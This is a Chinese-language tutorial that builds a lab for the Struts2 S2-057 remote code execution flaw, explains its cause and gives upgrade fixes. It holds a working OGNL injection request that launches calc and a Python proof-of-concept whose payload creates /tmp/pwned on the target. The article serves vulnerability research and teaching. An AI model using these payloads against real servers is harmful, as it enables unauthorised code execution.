如何进行Struts2 S2-057漏洞环境搭建及漏洞分析

发布时间:2021-12-10 19:09:58 作者:柒染
来源:亿速云 阅读:360
# 如何进行Struts2 S2-057漏洞环境搭建及漏洞分析

## 目录
1. [漏洞背景与概述](#漏洞背景与概述)
2. [环境搭建准备](#环境搭建准备)
3. [漏洞环境搭建步骤](#漏洞环境搭建步骤)
4. [漏洞原理分析](#漏洞原理分析)
5. [漏洞复现与验证](#漏洞复现与验证)
6. [修复建议](#修复建议)
7. [总结](#总结)

---

## 漏洞背景与概述
**S2-057(CVE-2018-11776)**是Apache Struts2框架于2018年披露的一个高危远程代码执行漏洞。该漏洞在特定配置下,攻击者可通过构造恶意请求实现服务器端代码执行,影响Struts2核心机制中的命名空间处理模块。

### 影响版本
- Struts 2.3 - 2.3.34
- Struts 2.5 - 2.5.16

### 漏洞条件
需同时满足:
1. 未正确配置`alwaysSelectFullNamespace`参数
2. 使用了`action`标签的`value`或`action`属性未设置命名空间

---

## 环境搭建准备
### 所需工具清单
| 工具/组件       | 版本/下载链接                     |
|----------------|----------------------------------|
| JDK            | 1.8+                            |
| Tomcat         | 8.5.x                           |
| Struts2        | 受漏洞影响的版本(如2.5.16)       |
| IDE            | IntelliJ IDEA/Eclipse           |
| 调试工具        | Burp Suite、Postman             |

### 实验环境拓扑
```plaintext
[攻击机] ---HTTP请求---> [靶机: Tomcat + Struts2漏洞应用]

漏洞环境搭建步骤

1. 基础环境配置

# 安装JDK并配置环境变量
sudo apt install openjdk-8-jdk
export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64

# 下载Tomcat 8.5.x
wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.xx/bin/apache-tomcat-8.5.xx.tar.gz
tar -xzvf apache-tomcat-8.5.xx.tar.gz

2. 创建漏洞演示项目

  1. Maven项目初始化

    <!-- pom.xml 关键依赖 -->
    <dependency>
       <groupId>org.apache.struts</groupId>
       <artifactId>struts2-core</artifactId>
       <version>2.5.16</version>
    </dependency>
    
  2. 配置web.xml

    <filter>
       <filter-name>struts2</filter-name>
       <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    
  3. struts.xml漏洞配置

    <struts>
       <constant name="struts.mapper.alwaysSelectFullNamespace" value="false"/>
       <package name="vuln-demo" extends="struts-default">
           <action name="login" class="com.example.LoginAction">
               <result>/welcome.jsp</result>
           </action>
       </package>
    </struts>
    

3. 部署到Tomcat

mvn clean package
cp target/vuln-app.war ${TOMCAT_HOME}/webapps/

漏洞原理分析

关键问题定位

漏洞源于DefaultActionMapper类对URL解析时的逻辑缺陷:

// 漏洞代码片段(简化)
public ActionMapping getMapping(HttpServletRequest request) {
    String uri = RequestUtils.getUri(request);
    // 错误处理:未正确验证命名空间拼接
    String namespace = parseNamespace(uri); 
    String name = parseActionName(uri);
    // 导致OGNL表达式注入点
}

攻击向量构造

攻击者可通过以下方式触发漏洞:

http://target/${(1337+1)}/actionName.action

漏洞复现与验证

手工复现步骤

  1. 发送恶意请求:

    GET /struts2-showcase/$%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D@java.lang.Runtime@getRuntime().exec('calc').waitFor()%7D/actionChain1.action HTTP/1.1
    
  2. 观察结果:

    • Windows靶机弹出计算器(证明RCE成功)
    • 响应中包含OGNL执行结果

自动化验证工具

使用Python PoC脚本:

import requests

target = "http://localhost:8080/vuln-app"
payload = "${(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('touch /tmp/pwned'))}"

response = requests.get(f"{target}/{payload}/login.action")
print(response.status_code)

修复建议

官方解决方案

  1. 升级到安全版本:

    • Struts 2.3.35+
    • Struts 2.5.17+
  2. 临时缓解措施:

    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true"/>
    

安全配置建议


总结

通过对S2-057漏洞的深入分析,我们可以得出以下结论: 1. 该漏洞利用链清晰,但需要特定配置条件 2. OGNL表达式注入仍是Struts2的主要威胁方向 3. 及时更新框架版本是最有效的防护手段

防御思考:在DevOps流程中应加入SCA(软件成分分析)工具,及时检测依赖库中的已知漏洞。


附录:参考资源
- Apache Struts2 官方公告
- CVE-2018-11776 漏洞详情
- OGNL 注入技术白皮书 “`

注:实际执行漏洞测试时,请确保在授权环境下进行。本文档仅供安全研究学习使用。

推荐阅读:
  1. 继Struts2漏洞,Jackson漏洞来袭
  2. 怎么进行CVE-2021-3129 漏洞分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

struts2

上一篇:如何实现SkyWalking快速搭建

下一篇:怎么进行LAMP服务搭建

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》